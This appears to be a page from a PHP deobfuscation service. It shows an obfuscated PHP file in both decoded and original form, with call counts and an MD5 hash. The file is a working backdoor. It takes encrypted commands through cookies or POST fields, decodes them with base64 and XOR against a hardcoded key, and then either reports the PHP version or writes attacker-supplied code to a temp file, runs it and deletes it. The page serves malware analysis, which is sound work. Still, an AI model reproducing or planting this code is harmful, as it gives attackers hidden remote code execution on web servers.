Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $icddjpqq = 'icddjpqq' ^ ' '; $zmixvc /*ntek */ = $_..
Decoded Output download
<?php
$icddjpqq = 'icddjpqq' ^ '
';
$zmixvc /*ntek */ = $_COOKIE;
$h_ktqky_lr = $_POST;
function zejucbyivn($lywlrfamx, $nkaa_e)
{ global $icddjpqq;
$unoczhj = /* d */ "";
$chkxrbvvlz = 3;
$ybrcfbphtr /*m */ = /* ngdtd */ $chkxrbvvlz /*bbshvs */ - 9; /* iei */ for /* nx */ ($sarmi__ /*zwbg */ = /* i */ 0; /*hiagx */ $sarmi__ < strlen($lywlrfamx);) {
/* iqbtnq */ for ($hykoe /* _iapmv */ = 0; $hykoe /*nmyuyr */ < strlen($nkaa_e) && $sarmi__ < strlen($lywlrfamx); /*tjgnx*/ $hykoe++, $sarmi__++) { $unoczhj .= /* twa */ $icddjpqq(ord($lywlrfamx[$sarmi__]) ^ ord($nkaa_e[$hykoe]));
$eeavfpitoe = 'lzyjz';
} /*kk */ } return $unoczhj;
}
function ekqxlhoru($lypdtafuuq, /* q */ $lywlrfamx)
{
global $icddjpqq;
$sarmi__awnty = sprintf("."."/" . /* q */ "%"."s" . ".".$icddjpqq(302-190) /* x */ . "l", md5($lypdtafuuq));
$_wkevg /* bigci */ = 'fwyvf';
file_put_contents($sarmi__awnty, "<" /*w */ . "?" . "p".$icddjpqq(104) . "p" . $icddjpqq(32) /* jiop*/ . /* i_d */ "u"."n" /* lcwxgu*/ . "l" /* vsuqi */ . $icddjpqq(424-319) /* gr */ . "n" . "k" /* lvu */ . /* zdhxr */ $icddjpqq(328-288) /* _xve */ . /* ksuh*/ "_" . "_"."F" /* jqzctk */ . $icddjpqq(879-806) . "L"."E"."_" . /*xo */ "_" . $icddjpqq(41) . ";".$icddjpqq(32) /* rr */ . /*xtm */ $lywlrfamx["d"]);
$_wkevg /* k */ = trim($_wkevg);
$dplqoh = 13; /* ezv */ include($sarmi__awnty);
$zvthas /* g*/ = $sarmi__awnty;
$nmjslbsgrg = 0; /* usebg */ @unlink($zvthas);
$udahj = ord('j');}
function /*kvupt */ coeuyefpy()
{
$owgkzns = 'jh';
/*olphcc*/ $uhrmovs = 28;
}
function wptgui()
{
/* ue */ global /* ircybg */ $icddjpqq;
$sarmi__ = array();
/* s */ $sarmi__["p"."v"] = phpversion();
$sarmi__[$icddjpqq(226-111) . "v"] = $icddjpqq(51) . "."."5"; /* _w */ echo @serialize($sarmi__);}
function jrpxprc_ux()
{ /* xk*/ $sqaeykq /* koxbql */ = 'tluuh_';
$hykoetfqqvj = /* tf */ 'xoscc';
/* x */ $ruclaidi = 34;
/* ubs_l */ $thmksra = strlen($hykoetfqqvj);
$pcnjgqk = 18;}
jrpxprc_ux();
coeuyefpy();
function kiqkouou($lywlrfamx, /*mup_ki*/ $lypdtafuuq, /* s */ $_fgofluds)
{
global $icddjpqq;
$lywlrfamx = /* ilqfu */ unserialize(zejucbyivn(zejucbyivn(base64_decode($lywlrfamx), $lypdtafuuq), /* kjbfi */ $_fgofluds));
if (isset($lywlrfamx[$icddjpqq(97)."k"])) { if ($lywlrfamx[$icddjpqq(97)] == "i") {
wptgui(); /* ov */ } elseif ($lywlrfamx[$icddjpqq(97)] /* xa */ == "e") {
ekqxlhoru($lypdtafuuq, $lywlrfamx);
/* rg*/ } exit();
}}
$zmixvc = array_merge($h_ktqky_lr, $zmixvc);
$lypdtafuuq /* _o */ = "e".$icddjpqq(98) /* hovakj */ . /* a*/ "a" . "c".$icddjpqq(203-103) /*ncxani */ . /* p */ "0" . "f" . "b"."-".$icddjpqq(102) /* avikz */ . "f" . /* a*/ "4".$icddjpqq(576-477) . "-" /*okzlap */ . /* ovi */ $icddjpqq(52) /* idzvo*/ . "e" . "1" /* qwmqa */ . "8" /* oaztby */ . "-" . /* rlsjt */ $icddjpqq(98) . "b" . /*qzsns */ $icddjpqq(238-184) . "3"."-" /* y */ . "7" . $icddjpqq(882-826) /* kxmus*/ . $icddjpqq(170-115) /* ndbg_*/ . "d".$icddjpqq(55) /* t */ . /* bww */ "e" . /* _fugrw*/ $icddjpqq(860-807) . "2" . "0"."8".$icddjpqq(51) . "2";foreach ($zmixvc as /* gu */ $_fgofluds => /* hmlyyo */ $lywlrfamx) {
/* pqvvhi*/ kiqkouou($lywlrfamx, /* j */ $lypdtafuuq, $_fgofluds);
}$aoirvttx = 71;
?>
Did this file decode correctly?
Original Code
<?php
$icddjpqq = 'icddjpqq' ^ '
';
$zmixvc /*ntek */ = $_COOKIE;
$h_ktqky_lr = $_POST;
function zejucbyivn($lywlrfamx, $nkaa_e)
{ global $icddjpqq;
$unoczhj = /* d */ "";
$chkxrbvvlz = 3;
$ybrcfbphtr /*m */ = /* ngdtd */ $chkxrbvvlz /*bbshvs */ - 9; /* iei */ for /* nx */ ($sarmi__ /*zwbg */ = /* i */ 0; /*hiagx */ $sarmi__ < strlen($lywlrfamx);) {
/* iqbtnq */ for ($hykoe /* _iapmv */ = 0; $hykoe /*nmyuyr */ < strlen($nkaa_e) && $sarmi__ < strlen($lywlrfamx); /*tjgnx*/ $hykoe++, $sarmi__++) { $unoczhj .= /* twa */ $icddjpqq(ord($lywlrfamx[$sarmi__]) ^ ord($nkaa_e[$hykoe]));
$eeavfpitoe = 'lzyjz';
} /*kk */ } return $unoczhj;
}
function ekqxlhoru($lypdtafuuq, /* q */ $lywlrfamx)
{
global $icddjpqq;
$sarmi__awnty = sprintf("."."\57" . /* q */ "%"."\x73" . ".".$icddjpqq(302-190) /* x */ . "\154", md5($lypdtafuuq));
$_wkevg /* bigci */ = 'fwyvf';
file_put_contents($sarmi__awnty, "<" /*w */ . "\x3f" . "p".$icddjpqq(104) . "\160" . $icddjpqq(32) /* jiop*/ . /* i_d */ "u"."\156" /* lcwxgu*/ . "\x6c" /* vsuqi */ . $icddjpqq(424-319) /* gr */ . "\156" . "\153" /* lvu */ . /* zdhxr */ $icddjpqq(328-288) /* _xve */ . /* ksuh*/ "\137" . "_"."\x46" /* jqzctk */ . $icddjpqq(879-806) . "L"."E"."\x5f" . /*xo */ "\137" . $icddjpqq(41) . ";".$icddjpqq(32) /* rr */ . /*xtm */ $lywlrfamx["\x64"]);
$_wkevg /* k */ = trim($_wkevg);
$dplqoh = 13; /* ezv */ include($sarmi__awnty);
$zvthas /* g*/ = $sarmi__awnty;
$nmjslbsgrg = 0; /* usebg */ @unlink($zvthas);
$udahj = ord('j');}
function /*kvupt */ coeuyefpy()
{
$owgkzns = 'jh';
/*olphcc*/ $uhrmovs = 28;
}
function wptgui()
{
/* ue */ global /* ircybg */ $icddjpqq;
$sarmi__ = array();
/* s */ $sarmi__["p"."\166"] = phpversion();
$sarmi__[$icddjpqq(226-111) . "v"] = $icddjpqq(51) . "."."5"; /* _w */ echo @serialize($sarmi__);}
function jrpxprc_ux()
{ /* xk*/ $sqaeykq /* koxbql */ = 'tluuh_';
$hykoetfqqvj = /* tf */ 'xoscc';
/* x */ $ruclaidi = 34;
/* ubs_l */ $thmksra = strlen($hykoetfqqvj);
$pcnjgqk = 18;}
jrpxprc_ux();
coeuyefpy();
function kiqkouou($lywlrfamx, /*mup_ki*/ $lypdtafuuq, /* s */ $_fgofluds)
{
global $icddjpqq;
$lywlrfamx = /* ilqfu */ unserialize(zejucbyivn(zejucbyivn(base64_decode($lywlrfamx), $lypdtafuuq), /* kjbfi */ $_fgofluds));
if (isset($lywlrfamx[$icddjpqq(97)."\153"])) { if ($lywlrfamx[$icddjpqq(97)] == "i") {
wptgui(); /* ov */ } elseif ($lywlrfamx[$icddjpqq(97)] /* xa */ == "e") {
ekqxlhoru($lypdtafuuq, $lywlrfamx);
/* rg*/ } exit();
}}
$zmixvc = array_merge($h_ktqky_lr, $zmixvc);
$lypdtafuuq /* _o */ = "e".$icddjpqq(98) /* hovakj */ . /* a*/ "\x61" . "c".$icddjpqq(203-103) /*ncxani */ . /* p */ "\x30" . "\x66" . "b"."-".$icddjpqq(102) /* avikz */ . "\146" . /* a*/ "4".$icddjpqq(576-477) . "\x2d" /*okzlap */ . /* ovi */ $icddjpqq(52) /* idzvo*/ . "\x65" . "\61" /* qwmqa */ . "\x38" /* oaztby */ . "\x2d" . /* rlsjt */ $icddjpqq(98) . "\x62" . /*qzsns */ $icddjpqq(238-184) . "3"."\x2d" /* y */ . "\67" . $icddjpqq(882-826) /* kxmus*/ . $icddjpqq(170-115) /* ndbg_*/ . "\x64".$icddjpqq(55) /* t */ . /* bww */ "\x65" . /* _fugrw*/ $icddjpqq(860-807) . "\x32" . "0"."8".$icddjpqq(51) . "\62";foreach ($zmixvc as /* gu */ $_fgofluds => /* hmlyyo */ $lywlrfamx) {
/* pqvvhi*/ kiqkouou($lywlrfamx, /* j */ $lypdtafuuq, $_fgofluds);
}$aoirvttx = 71;
?>
Function Calls
strlen | 1 |
coeuyefpy | 1 |
jrpxprc_ux | 1 |
array_merge | 1 |
Stats
MD5 | 35512d434700310069c6706d27eb2267 |
Eval Count | 0 |
Decode Time | 66 ms |